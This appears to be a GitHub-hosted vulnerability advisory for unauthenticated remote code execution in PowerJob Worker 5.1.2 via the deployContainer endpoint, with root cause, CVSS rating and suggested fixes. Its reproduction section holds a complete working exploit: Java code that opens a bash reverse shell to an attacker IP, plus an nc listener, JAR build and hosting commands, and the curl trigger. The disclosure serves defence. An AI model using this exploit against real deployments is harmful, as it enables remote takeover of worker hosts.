Skip to content

Latest commit

 

History

4 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 

Repository files navigation

PowerJob Worker Unauthenticated Remote Code Execution via /worker/deployContainer (Arbitrary JAR Loading)

1. Summary

The PowerJob Worker exposes the deployContainer handler on its HTTP transport port 27777 with no authentication whatsoever. An attacker submits an arbitrary URL; the Worker downloads that JAR and loads it via URLClassLoader + Spring ClassPathXmlApplicationContext, executing arbitrary code during the Spring init-methodWorker RCE. The default docker-compose publishes this port to the host.

Precondition (honest statement): the Worker must be running (27777 listening). In the default configuration the Worker validates at startup that its app is registered on the server (/server/assert); if the app is not registered, the Worker fails to start and 27777 is not listening (verified: the Java process exits with code 1). Therefore a strictly fresh "docker-compose up with no console setup" state is not directly exploitable. However, normal operation of PowerJob necessarily requires the app to be registered and the Worker to be online (otherwise the system schedules no jobs), so any deployment actually in use inherently satisfies the precondition, after which the exploit is zero-credential. By contrast, the sibling finding PJ-08 (server /friend/process) has no such precondition — the server binds 10010 at startup unconditionally.

2. Affected Product

  • Product: PowerJob Worker (powerjob-worker, deployed via the official powerjob-worker-samples image)
  • Affected versions: 5.1.2 (the Worker transport-layer zero-authentication design has been carried over from earlier releases)
  • Default deployment: docker-compose.yml worker service, HTTP protocol, port 27777 (PowerJobWorkerConfig.java:34)

3. Vulnerability Location

Item Value
Entry point POST http://<worker>:27777/worker/deployContainer
Handler powerjob-worker/.../actors/WorkerActor.java:32-35 (@Actor(path="worker"), no authentication)
Download OmsContainerFactory.deployContainer:97 FileUtils.copyURLToFile(new URL(request.getDownloadURL()), jarFile, ...)
Load OmsJarContainer.init() OhMyClassLoader.load() + new ClassPathXmlApplicationContext(...).refresh()

Request body ServerDeployContainerRequest (fields containerId/containerName/version/downloadURL).

4. Root Cause

  • The Worker↔Server transport layer has no token/signature authentication; the WorkerActor handler fully trusts downloadURL.
  • OmsContainerFactory downloads the JAR from an arbitrary URL and immediately calls OmsJarContainer.init(): URLClassLoader load + Spring context refresh() → malicious code runs during class/Bean initialization.

5. Attack Scenario

Precondition: the Worker is running and 27777 is listening (satisfied by any production/demo deployment; if the operator followed the official flow and created the sample app, the Worker is online). For reproduction, the Worker can be started with --powerjob.worker.allow-lazy-connect-server=true to skip the app-registration check (not recommended in production; note the switch only affects whether the Worker comes online — it does not change the missing authentication on the open port).

  1. The attacker hosts an HTTP file server serving a malicious JAR. The JAR structure (matching the requirements of OmsJarContainer.init()):
    • oms-worker-container.properties with PACKAGE_NAME=com.evil
    • com/evil/Exploit.class — a class exposing a Spring init-method (e.g. run()) that executes a command
    • oms-worker-container-spring-context.xml<bean class="com.evil.Exploit" init-method="run"/>
  2. Send POST /worker/deployContainer to the Worker port 27777 with body {"containerId":1,"containerName":"x","version":"1","downloadURL":"http://<attacker>/evil.jar"}.
  3. The Worker downloads the JAR → OmsJarContainer.init(): OhMyClassLoader.load() loads the class (does not run static initializers), then ClassPathXmlApplicationContext.refresh() instantiates the bean and invokes the init-method → arbitrary command execution (with the Worker's runtime privileges).
  4. Additional: the script handler AbstractScriptProcessor.java:118-123 also supports downloading from an arbitrary URL → Worker-side SSRF.

No output echo: the deployContainer handler returns void, so the HTTP response carries no command output (verified: empty body). For interactive command execution the primary technique is a reverse shell (see Reproduction below); the marker-file variant is only a local, non-interactive verification.

6. Reproduction (verified)

Environment: JDK 21, source-built powerjob-worker-samples-5.1.2.jar, Worker listening on 192.168.49.128:27777 (started with --powerjob.worker.allow-lazy-connect-server=true to skip app registration).

Primary — reverse shell (interactive command execution):

The malicious JAR's Exploit.run() (Spring init-method) spawns a reverse shell. Since there is no output echo, this is the effective way to obtain interactive command execution on the Worker host.

# 1) Attacker listens first:
nc -lvnp 7878

# 2) Evil JAR construction — Exploit.run() runs a bash reverse shell
package com.evil;
public class Exploit {
    public void run() {
        Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",
          "bash -i >& /dev/tcp/192.168.3.17/7878 0>&1"});   // LHOST:LPORT
    }
}
# oms-worker-container.properties :  PACKAGE_NAME=com.evil
# oms-worker-container-spring-context.xml :
#   <bean id="evil" class="com.evil.Exploit" init-method="run"/>
javac --release 8 -d classes Exploit.java && jar cf evil.jar com/evil/Exploit.class \
  oms-worker-container.properties oms-worker-container-spring-context.xml
python3 -m http.server 8000     # host evil.jar

# 3) Trigger (no credentials):
curl -s http://192.168.49.128:27777/worker/deployContainer -H 'Content-Type: application/json' -d '{
  "containerId": 3, "containerName": "evil", "version": "3",
  "downloadURL": "http://192.168.3.17:8000/evil.jar"
}'
image

Alternatively, use the script to verify: python3 powerjob_worker_deploycontainer_rce.py 192.168.49.128:27777 http://192.168.3.17:8000/evil.jar --build-and-serve 0.0.0.0 8000 --reverse-shell 192.168.3.17:7878

PoC key point: OhMyClassLoader.load() only calls loadClass(), which does not run static initializers; the actual execution point is the Spring init-method invoked by ClassPathXmlApplicationContext.refresh(). The malicious JAR must therefore carry the Spring XML and declare init-method. The reverse shell must run via /bin/bash -c because /bin/sh (dash) does not parse /dev/tcp.

7. Impact

  • Complete control of the Worker node (steal job parameters/code, read/write job results, pivot to business systems that consume job output).
  • Impact boundary: Worker process / host.

8. Suggested Fix

  • Add mutual authentication to the transport layer; allow deployContainer to be triggered only by a trusted Server and validate the source.
  • Restrict downloadURL to trusted internal addresses; verify the JAR hash/signature before loading.

9. CWE / CVSS

  • CWE: CWE-94 (Improper Control of Generation of Code) / CWE-502 (Deserialization of Untrusted Data / untrusted loading)
  • CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical

10. Evidence / Disclosure

  • Analysis: PowerJob-5.1.2/audit_report/SECOND_AUDIT_REPORT.md (PJ-09)
  • Reproduction: verified locally (192.168.49.128:27777, no credentials → Worker RCE); see ## 6. Reproduction
  • PoC: PowerJob-5.1.2/audit_report/poc/powerjob_worker_deploycontainer_rce.py (auto-build JAR + host + trigger, --reverse-shell, -p/--proxy)
  • Submission: together with PJ-08/PJ-12 via the PowerJob SECURITY.md channel (Tidelift / tengjiqi@gmail.com / GitHub Security Advisory)

About

No description, website, or topics provided.

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages